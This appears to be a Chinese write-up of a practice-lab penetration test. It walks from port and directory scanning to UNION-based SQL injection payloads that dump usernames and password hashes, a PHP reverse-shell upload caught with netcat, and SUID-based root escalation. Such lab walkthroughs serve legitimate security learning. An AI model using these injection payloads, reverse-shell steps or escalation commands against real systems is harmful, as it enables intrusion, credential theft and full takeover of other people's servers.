渗透思路:
nmap扫描----->dirb和nikto扫描----->利用SQL联合注入得到superadmin账号密码----->通过文件上传漏洞获得反弹shell-----> 通过奇怪目录下有suid权限的文件提权
环境信息:
靶机:192.168.101.45
攻击机:192.168.101.34
具体步骤:
步骤1、nmap扫描
sudo nmap -sS -A -p- 192.168.101.45
nmap进行TCP全端口扫描,只扫描到22(ssh)和80(http)端口开放
步骤2、dirb和nikto扫描
dirb扫描
dirb http://192.168.101.45
扫到http://192.168.101.45/uploads/
用浏览器访问之后发现是个目录,只有一个文件,test.png
图片里也没什么内容,下载之后用strings命令查看也没什么可读字符串。
nikto扫描
nikto -host 192.168.101.45
没扫到啥有用的东西
步骤3、利用SQL联合注入得到superadmin账号密码
浏览器访问http://192.168.101.45,发现到了一个登录页面,目前没有任何关于账号和密码的提示信息,尝试万能密码也没有成功。
但是发现有一个Sign up now链接,可以注册账号
注册好账号之后点Login here,再回到登录页面登录,登录成功之后发现一个可以通过书籍名称搜索书籍信息的页面。
不输入书籍名称直接点search按钮可以得到全部书籍信息。
根据一开始nmap扫描的结果,web服务器是apache,再根据网站中的文件都是.php,可以推测这里的数据库大概率是mysql。
看看这边有没有sql注入:
再搜索框中输入
CISSP
得到一条结果
输入
CISSP' or 1=1#
得到全部书籍信息
显然是把 ' or 1=1#作为sql语句的一部分来执行了。
下面试试union注入:
首先尝试order by,结果n处不管输入什么数字都没有结果
CISSP' order by n#
没关系,直接上union select吧,这边肉眼可见的是3行,所以先试试
CISSP' union select 1,2,3#
发现输出确实是3列,并且3列都是可见的
接下来依次输入如下payload
CISSP' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
CISSP' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
CISSP' union select 1,group_concat(user),group_concat(pasword) from users#
第一条可以得到当前数据库所有表名称,其中包含users表
第二条可以得到表users所有列名称,其中包含user和pasword
第三条可以得到users表的user和pasword列的所有值
注意到用户中有个superadmin,把它对应的密码(2386acb2cf356944177746fc92523983)拿到网上md5解密一下,得到Uncrackable
步骤4、通过文件上传漏洞获得反弹shell
退出当前用户登录,在登录页面输入用户名superadmin和密码Uncrackable,成功登录,并且页面和上一步中注册的用户的页面有所不同,是一个上传文件的页面。
尝试上传文件php-reverse.php,这个文件是kali linux上的 /usr/share/webshells/php/php-reverse-shell.php修改了$ip和$port的值之后得到的。
上传后提示文件上传成功,并保存在了uploads文件夹下
访问 http://192.168.101.45/uploads/ 发现php-reverse.php确实已经上传成功
攻击机用nc监听443端口
nc -nlvp 443
浏览器访问http://192.168.101.45/uploads/php-reverse.php
得到www-data的反弹shell
输入如下命令得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
步骤5、 通过奇怪目录下有suid权限的文件提权
运气太好了一点,在/home目录下找找找,就找到了/home/legacy/touchmenot,这个文件有suid权限,运行之后竟然就直接获得root权限了。
其实更公式化一点,suid权限的文件可以用如下命令查找
find / -perm -u=s -type f 2>/dev/null